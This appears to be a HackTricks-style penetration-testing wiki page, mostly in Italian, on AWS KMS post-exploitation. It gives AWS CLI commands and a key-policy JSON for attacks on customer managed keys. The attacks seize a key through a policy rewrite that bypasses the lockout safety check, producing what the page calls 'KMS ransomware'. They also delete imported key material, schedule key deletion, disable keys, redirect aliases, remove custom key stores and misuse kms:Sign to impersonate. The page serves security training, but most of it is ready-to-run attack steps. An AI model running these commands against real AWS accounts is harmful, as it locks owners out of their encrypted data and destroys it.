# AWS - KMS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## KMS

Per maggiori informazioni consulta:

{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}

### Encrypt/Decrypt information

`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:

- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non testuali.
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplici, script o JSON che non richiedono requisiti di codifica speciali.

> [!TIP]
> Nota che se vuoi decriptare dei dati contenuti in un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)

- Usando una chiave **simmetrica**
```bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
```
- Usando una **asymmetric** key:
```bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
```
### KMS Ransomware

Un attacker con accesso privilegiato a KMS potrebbe modificare la KMS policy delle keys e **grant his account access over them**, rimuovendo l'accesso concesso all'account legit.

Di conseguenza, gli utenti dell'account legit non saranno in grado di accedere a nessuna informazione di qualsiasi servizio crittografato con quelle keys, creando un ransomware semplice ma efficace sull'account.

> [!WARNING]
> Nota che **AWS managed keys aren't affected** da questo attacco, solo **Customer managed keys**.

> Si noti inoltre la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (la mancanza di questa opzione nella web console rende questo attacco possibile solo dalla CLI).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
```
> [!CAUTION]
> Nota che se cambi quella policy e concedi accesso solo a un account esterno, e poi da quell'account esterno provi a impostare una nuova policy per **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.

<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>

### Generico KMS Ransomware

Esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:

- Crea una nuova **key with a key material** importata dall'attaccante
- **Re-encrypt older data** dei dati della vittima cifrati con la versione precedente usando quella nuova.
- **Delete the KMS key**
- Ora solo l'attaccante, che possiede il originale key material, potrebbe essere in grado di decifrare i dati cifrati

### Eliminare chiavi tramite kms:DeleteImportedKeyMaterial

Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può eliminare il key material importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno imperted il loro key material), rendendole incapaci di decifrare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato del materiale compatibile, permettendo a un attaccante di causare effettivamente una perdita di dati simile a ransomware rendendo le informazioni cifrate permanentemente inaccessibili.
```bash
aws kms delete-imported-key-material --key-id <Key_ID>
```
### Distruggere le chiavi

Distruggendo le chiavi è possibile eseguire un DoS.
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
```
> [!CAUTION]
> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un cross account:**

### Modificare o eliminare Alias
Questo attacco cancella o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando guasti immediati in qualsiasi servizio che dipenda da quegli alias, provocando un denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias` un attaccante può rimuovere o ripuntare gli alias e compromettere le operazioni crittografiche (es., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che all'ID della chiave può fallire fino a quando l'alias non viene ripristinato o rimappato correttamente.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### Cancel Key Deletion
Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare la cancellazione programmata di una customer master key di AWS KMS e successivamente riabilitarla. In questo modo si recupera la chiave (inizialmente nello stato Disabled) e si ripristina la sua capacità di decifrare dati precedentemente protetti, permettendo l'exfiltration.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
```
### Disabilitare la chiave
Con il permesso `kms:DisableKey`, un attore può disabilitare una AWS KMS customer master key, impedendone l'uso per la cifratura o la decifratura. Questo interrompe l'accesso per qualsiasi servizio che dipende da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riattivata.
```bash
aws kms disable-key \
--key-id <key_id>
```
### Derivazione del segreto condiviso
Con il permesso `kms:DeriveSharedSecret`, un attore può usare una chiave privata custodita in KMS insieme a una chiave pubblica fornita dall'utente per calcolare un segreto condiviso ECDH.
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Impersonation via kms:Sign
Con il permesso `kms:Sign`, un attore può utilizzare una CMK memorizzata in KMS per firmare criptograficamente i dati senza esporre la chiave privata, generando firme valide che possono consentire impersonation o autorizzare azioni dannose.
```bash
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS with Custom Key Stores
Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, o `kms:UpdateCustomKeyStore`, un attore può modificare, scollegare o eliminare un AWS KMS Custom Key Store (CKS), rendendo le sue chiavi master inutilizzabili. Questo interrompe le operazioni di crittografia, decrittografia e di firma per qualunque servizio che si affidi a quelle chiavi e può causare un immediato denial-of-service. È quindi fondamentale limitare e monitorare tali permessi.
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
```
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>

{{#include ../../../../banners/hacktricks-training.md}}
